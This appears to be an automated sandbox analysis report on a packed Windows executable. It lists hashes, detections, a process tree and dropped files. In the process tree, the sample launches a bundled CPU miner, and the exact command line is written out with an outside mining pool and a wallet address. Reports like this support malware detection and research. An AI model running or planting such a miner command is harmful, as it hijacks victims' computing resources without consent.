73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 14:58

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4880	b2e.exe
2808	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2808	cpuminer-sse2.exe
2808	cpuminer-sse2.exe
2808	cpuminer-sse2.exe
2808	cpuminer-sse2.exe
2808	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2576-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 4880	2576	batexe.exe	74
PID 2576 wrote to memory of 4880	2576	batexe.exe	74
PID 2576 wrote to memory of 4880	2576	batexe.exe	74
PID 4880 wrote to memory of 4124	4880	b2e.exe	75
PID 4880 wrote to memory of 4124	4880	b2e.exe	75
PID 4880 wrote to memory of 4124	4880	b2e.exe	75
PID 4124 wrote to memory of 2808	4124	cmd.exe	78
PID 4124 wrote to memory of 2808	4124	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Users\Admin\AppData\Local\Temp\CC58.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CC58.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CC58.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D179.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CC58.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\CC58.tmp\b2e.exe

Filesize
2.6MB

MD5
f845d6b8c0beb43591f7ebc96344f81b

SHA1
5bcb9d96f6589b559060e11d6d5a0bf73d91c80e

SHA256
841b8431f27f5e631d37c605530e6ce5430559c96fa9a6ddebc7e9dd63ad04b2

SHA512
8de293211ad14117c9ecb797c78c738c91b691f3dc861401d537cc72c9ba05a40340c452938bd6d72bf400efa1fffb7bb387f204035697b8a229a29288d5d357

Download Submit
C:\Users\Admin\AppData\Local\Temp\D179.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
896KB

MD5
9f9a8fea08bacf3a1d155567fead5940

SHA1
9d9ba8746c585446f53f442b800e1eb28a0df86a

SHA256
a22f9d8fb953e4f6bc93cdcc8aa650a5a093f1dd400fdc501d5aa7b00bee0289

SHA512
d41a048619373832c616d48f919595ac50dfbbd68095aec008b30adde91ceeeb86326c7d412ab20d937bab7096fb8165d3da8b4fdc40a03cc32da9ee3e9dc2a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
23d79e5c9aab672f8f60c5eebe49095a

SHA1
a104fcef7239607ddf1efe7b2c23e746dfbd0dcf

SHA256
698e05c0e81105d7f7175ef33574ef428340bd4729564a58f6190349283e636a

SHA512
03fbe3b84107563ea0e7b6b345b4cb4a3bd09153068643c1a96e53bf7504b004458859dfea0c66da065defc293436f3449e568b922f1796f33850f145f8a07eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
03ae1346c99a66fcbd06c3a56898820a

SHA1
cf57878eb1c3523d08468ba3e9e65a063c24d902

SHA256
bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

SHA512
b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
768KB

MD5
e3f15c79f945604229fa814f57c79274

SHA1
19a7015dfbe622ab86c48693ee1605b26112a3fa

SHA256
7b09ee53447ccf77a0f2d7bfe25908f963d681433d3cba5a16c7f45646c42175

SHA512
12dc1df8a947caee13a12eca5a976feffd7408402b0495e4971d4bd7181e8d353ebc17da044d2ce6d1c273bb05a0ca5ddf7492394b355786d8b14b0997de162c

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
832KB

MD5
d33f0e6bb5e8d2b9e111a90544790dc8

SHA1
df4e81d22638d511e761744e886c33bc12096c48

SHA256
40729edf62213c039a1818c9adb9478aa0284bb26dd071bd1ac4de1da2470048

SHA512
ce4ebeae054117d4de8b3fe2403d95a6d819483269f851618958e864887e9b2f42fc9c893e1aa207dfa2d94900c8f4214a67796ddeb2a80ce655d69ec290d629

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
704KB

MD5
ceb1ee23d68e973e400b41e7324c71b6

SHA1
0ad5540864cf9bcbf52870ba72566625ca54e67a

SHA256
66f2f5bd30986e28a4c43ed44264cc56f63bd7a3ecd6aeb5845ac7bcd724aeee

SHA512
51ce4a101517339cb1f5c23fc953dde73f871cec2bde8ea5c9fad9376366d7b8aadaa8668ef2f7bf9d873e8817345e4e337a7a94c42c3ddf6a168377af060e9c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2576-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2808-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2808-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2808-43-0x0000000072600000-0x0000000072698000-memory.dmp

Filesize
608KB

Download
memory/2808-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/2808-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2808-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4880-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download